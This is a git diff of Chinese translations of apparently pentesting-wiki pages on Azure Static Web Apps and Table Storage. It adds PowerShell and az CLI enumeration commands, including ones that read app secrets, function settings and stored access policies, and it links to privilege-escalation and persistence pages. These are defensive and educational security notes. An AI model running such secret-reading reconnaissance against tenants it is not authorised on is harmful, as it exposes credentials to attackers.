-可以查看 **是否正在使用任何密码** 以及哪些环境受到保护: +可以查看 **是否使用了任何密码** 以及哪些环境受到保护: ```bash az rest --method GET \ --url "/subscriptions//resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2024-04-01" @@ -62,7 +62,7 @@ az rest --method GET \ } } ``` -注意如何可以通过**角色保护路径**,然后,用户需要对应用进行身份验证并被授予该角色才能访问该路径。还可以**创建邀请**,通过 EntraID、Facebook、GitHub、Google、Twitter 授予特定用户特定角色,这可能对在应用内提升权限很有用。 +注意如何可以通过**角色保护路径**,然后,用户需要对应用进行身份验证并被授予该角色才能访问该路径。还可以**创建邀请**,授予特定用户通过 EntraID、Facebook、GitHub、Google、Twitter 登录的特定角色,这可能对在应用内提升权限很有用。 > [!TIP] > 请注意,可以配置应用,使得**对 `staticwebapp.config.json`** 文件的更改不被接受。在这种情况下,仅仅从 Github 更改文件可能不够,还需要**在应用中更改设置**。 @@ -71,11 +71,15 @@ az rest --method GET \ ### 托管身份 -Azure Static Web Apps 可以配置为使用**托管身份**,但是,如[此常见问题解答](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-)中提到的,它们仅支持**从 Azure Key Vault 提取用于身份验证的机密,而不支持访问其他 Azure 资源**。 +Azure Static Web Apps 可以配置为使用**托管身份**,然而,如[此常见问题解答](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-)中所述,它们仅支持**从 Azure Key Vault 提取用于身份验证的机密,而不支持访问其他 Azure 资源**。 有关更多信息,您可以在 https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets 中找到 Azure 指南,了解如何在静态应用中使用保管库机密。 ## 枚举 + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} ```bash # List Static Webapps az staticwebapp list --output table @@ -107,12 +111,65 @@ az rest --method POST \ # Check connected backends az staticwebapp backends show --name --resource-group ``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} +```powershell +Get-Command -Module Az.Websites + +# Retrieves details of a specific Static Web App in the specified resource group. +Get-AzStaticWebApp -ResourceGroupName -Name + +# Retrieves the build details for a specific Static Web App. +Get-AzStaticWebAppBuild -ResourceGroupName -Name + +# Retrieves the application settings for a specific build environment in a Static Web App. +Get-AzStaticWebAppBuildAppSetting -ResourceGroupName -Name -EnvironmentName + +# Retrieves functions for a specific build environment in a Static Web App. +Get-AzStaticWebAppBuildFunction -ResourceGroupName -Name -EnvironmentName + +# Retrieves function app settings for a specific build environment in a Static Web App. +Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName -Name -EnvironmentName + +# Retrieves the configured roles for a Static Web App. +Get-AzStaticWebAppConfiguredRole -ResourceGroupName -Name + +# Retrieves the custom domains configured for a Static Web App. +Get-AzStaticWebAppCustomDomain -ResourceGroupName -Name + +# Retrieves details of the functions associated with a Static Web App. +Get-AzStaticWebAppFunction -ResourceGroupName -Name + +# Retrieves the app settings for the function app associated with a Static Web App. +Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName -Name + +# Retrieves the secrets for a Static Web App. +Get-AzStaticWebAppSecret -ResourceGroupName -Name + +# Retrieves general app settings for a Static Web App. +Get-AzStaticWebAppSetting -ResourceGroupName -Name + +# Retrieves user details for a Static Web App with a specified authentication provider. +Get-AzStaticWebAppUser -ResourceGroupName -Name -AuthProvider + +# Retrieves user-provided function apps associated with a Static Web App. +Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName -Name + +``` +{% endcode %} +{% endtab %} +{% endtabs %} + + ## 生成 Web 应用的示例 -您可以在以下链接找到生成 Web 应用的一个不错示例:[https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github) +您可以在以下链接中找到生成 Web 应用的一个不错示例:[https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github) -1. 将仓库 https://github.com/staticwebdev/react-basic/generate 叉到您的 GitHub 账户,并将其命名为 `my-first-static-web-app` -2. 在 Azure 门户中创建一个静态 Web 应用,配置 GitHub 访问并选择之前叉出的新仓库 +1. 将仓库 https://github.com/staticwebdev/react-basic/generate 叉接到您的 GitHub 账户,并将其命名为 `my-first-static-web-app` +2. 在 Azure 门户中创建一个静态 Web 应用,配置 GitHub 访问并选择之前叉接的新仓库 3. 创建它,等待几分钟,然后检查您的新页面! ## 权限提升和后期利用 @@ -123,7 +180,7 @@ az staticwebapp backends show --name --resource-group ../az-privilege-escalation/az-static-web-apps-privesc.md {{#endref}} -## 参考 +## 参考文献 - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) - [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans) diff --git a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md index 5a22314fc..9a76079df 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md @@ -4,7 +4,7 @@ ## 基本信息 -**Azure Table Storage** 是一个 NoSQL 键值存储,旨在存储大量结构化的非关系数据。它提供高可用性、低延迟和可扩展性,以高效处理大数据集。数据组织成表格,每个实体通过分区键和行键进行标识,从而实现快速查找。它支持如静态加密、基于角色的访问控制和共享访问签名等功能,适合广泛应用的安全管理存储。 +**Azure Table Storage** 是一个 NoSQL 键值存储,旨在存储大量结构化的非关系数据。它提供高可用性、低延迟和可扩展性,以有效处理大数据集。数据组织成表格,每个实体通过分区键和行键进行标识,从而实现快速查找。它支持如静态加密、基于角色的访问控制和共享访问签名等功能,适合广泛应用的安全管理存储。 表存储 **没有内置备份机制**。 @@ -17,7 +17,7 @@ #### **RowKey** -- **RowKey 是分区内实体的唯一标识符**。与 PartitionKey 结合使用时,确保表中的每个实体都有一个全球唯一的标识符。 +- **RowKey 是分区内实体的唯一标识符**。与 PartitionKey 结合使用时,确保表中的每个实体都有一个全局唯一标识符。 - 示例:对于 `"HR"` 分区,`RowKey` 可能是员工 ID,例如 `"12345"`。 #### **其他属性(自定义属性)** @@ -69,6 +69,8 @@ Get-AzStorageAccount # List tables Get-AzStorageTable -Context (Get-AzStorageAccount -Name -ResourceGroupName ).Context + +Get-AzStorageTableStoredAccessPolicy -Table -Context (Get-AzStorageAccount -Name ).Context ``` {{#endtab}} {{#endtabs}} @@ -80,7 +82,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name -Reso > 使用参数 `--account-key` 指定要使用的帐户密钥\ > 使用参数 `--sas-token` 通过 SAS 令牌访问 -## 权限提升 +## Privilege Escalation 与存储权限提升相同: @@ -88,13 +90,13 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name -Reso ../az-privilege-escalation/az-storage-privesc.md {{#endref}} -## 后期利用 +## Post Exploitation {{#ref}} ../az-post-exploitation/az-table-storage-post-exploitation.md {{#endref}} -## 持久性 +## Persistence 与存储持久性相同: